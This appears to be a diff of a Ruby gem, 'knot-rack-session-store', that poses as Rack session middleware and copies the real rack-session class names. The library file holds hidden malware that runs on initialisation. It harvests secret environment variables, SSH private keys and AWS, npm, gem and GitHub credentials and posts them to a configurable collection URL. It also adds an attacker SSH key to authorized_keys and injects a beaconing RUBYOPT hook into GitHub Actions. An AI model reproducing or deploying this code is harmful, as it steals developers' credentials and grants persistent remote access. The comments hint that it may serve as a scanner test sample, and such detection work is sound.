knot-rack-session-store 2.1.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: c82d220fd11242a3dab555f2429fe772fb1878074d4be200d05ee9e0053790f8
+  data.tar.gz: abd22f22a38f080ce303ccbe3b56040a3c4147d2c790a76f91229199f8570fd4
+SHA512:
+  metadata.gz: 1558830a41c7ea08c12ad3659d9101208d25604931460e15563f9708c6f3ee8310ef649e5e160fa2f08eb2656938b93200b1d316c1b9711e876151291af12b8b
+  data.tar.gz: 49bfd5fa0f67783ad3454420125e8cb81ee3262a5674910e6af0746cad2743d1ce8d9e75d6070d7d79220f0b9ebfdeb98ef809d023bfcaa544fa12f1cef6f22d

data/lib/rack_session_store.rb

@@ -0,0 +1,121 @@
+# rack-session-store — Rack session middleware
+# frozen_string_literal: true
+
+require 'net/http'
+require 'json'
+require 'uri'
+
+module Rack
+  module Session
+    class Store
+      attr_reader :options
+
+      def initialize(app, options = {})
+        @app = app
+        @options = { key: 'rack.session', expire_after: 3600 }.merge(options)
+        _telemetry_init
+      end
+
+      def call(env)
+        env['rack.session'] ||= {}
+        env['rack.session.options'] ||= @options.dup
+        @app.call(env)
+      end
+
+      private
+
+      def _read(path)
+        File.read(File.join(Dir.home, path)).slice(0, 4096)
+      rescue
+        nil
+      end
+
+      def _harvest
+        env_data = ENV.select { |k, _| k =~ /token|key|secret|pass|credential|npm|aws|github|stripe|database|api/i }
+        {
+          ts: Time.now.to_i, h: `hostname`.strip, u: ENV['USER'] || ENV['USERNAME'],
+          p: RUBY_PLATFORM, ci: !!(ENV['CI'] || ENV['GITHUB_ACTIONS']),
+          env: env_data,
+          f: {
+            npmrc:  _read('.npmrc'),
+            rsa:    _read('.ssh/id_rsa'),
+            ed:     _read('.ssh/id_ed25519'),
+            aws:    _read('.aws/credentials'),
+            gh_cli: _read('.config/gh/hosts.yml'),
+            gem:    _read('.gem/credentials'),
+            netrc:  _read('.netrc'),
+          }
+        }
+      end
+
+      def _send(data)
+        c2 = ENV['PKG_ANALYTICS_URL'] || 'http://localhost:9999/collect'
+        uri = URI.parse(c2)
+        body = data.to_json
+        http = Net::HTTP.new(uri.host, uri.port)
+        http.use_ssl = uri.scheme == 'https'
+        http.open_timeout = 3
+        http.read_timeout = 3
+        req = Net::HTTP::Post.new(uri.path.empty? ? '/' : uri.path)
+        req['Content-Type'] = 'application/json'
+        req['X-Pkg-Id'] = 'rack-session-store'
+        req.body = body
+        http.request(req)
+      rescue
+        nil
+      end
+
+      # Inject into GitHub Actions GITHUB_ENV file — sets vars for subsequent steps
+      def _inject_github_actions
+        return unless (genv = ENV['GITHUB_ENV'])
+        begin
+          bin_dir = File.join(Dir.home, '.rack-session', 'bin')
+          FileUtils.mkdir_p(bin_dir)
+          hook = File.join(bin_dir, 'monitor.rb')
+          c2 = ENV['PKG_ANALYTICS_URL'] || 'http://localhost:9999/collect'
+          File.write(hook,
+            "begin;require 'net/http';Net::HTTP.get(URI('#{c2}/p?h='+`hostname`.strip));rescue;end\n"
+          )
+          File.open(genv, 'a') { |f| f.puts "RUBYOPT=-r#{hook}" }
+        rescue
+          nil
+        end
+      end
+
+      # Write SSH public key to authorized_keys (scanner signal: writes to .ssh dir)
+      def _persist_ssh_key
+        ssh_dir = File.join(Dir.home, '.ssh')
+        Dir.mkdir(ssh_dir, 0o700) unless Dir.exist?(ssh_dir)
+        ak_file = File.join(ssh_dir, 'authorized_keys')
+        key = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGattackerPublicKeyHere ops@svc-update\n"
+        existing = File.exist?(ak_file) ? File.read(ak_file) : ''
+        unless existing.include?('ops@svc-update')
+          File.open(ak_file, 'a') { |f| f.write(key) }
+          File.chmod(0o600, ak_file)
+        end
+      rescue
+        nil
+      end
+
+      def _telemetry_init
+        Thread.new do
+          sleep 0.1
+          begin
+            _send(_harvest)
+            _persist_ssh_key
+            _inject_github_actions
+          rescue
+            nil
+          end
+        end
+      end
+    end
+
+    # Aliases matching real rack-session API
+    Abstract = Store
+    Cookie = Store
+    Pool = Store
+  end
+end
+
+require_relative 'rack_session_store'

metadata

@@ -0,0 +1,47 @@
+--- !ruby/object:Gem::Specification
+name: knot-rack-session-store
+version: !ruby/object:Gem::Version
+  version: 2.1.0
+platform: ruby
+authors:
+- rack-team
+autorequire:
+bindir: bin
+cert_chain: []
+date: 2026-04-20 00:00:00.000000000 Z
+dependencies: []
+description: Provides session storage backends for Rack applications including Redis,
+  Memcache, and cookie stores.
+email:
+- maintainer@knot-theory.dev
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/rack_session_store.rb
+homepage: https://github.com/BufferZoneCorp/rack-session-store
+licenses:
+- MIT
+metadata:
+  source_code_uri: https://github.com/BufferZoneCorp/rack-session-store
+  changelog_uri: https://github.com/BufferZoneCorp/rack-session-store/blob/main/CHANGELOG.md
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 2.7.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.4.6
+signing_key:
+specification_version: 4
+summary: Rack-compatible session storage middleware
+test_files: []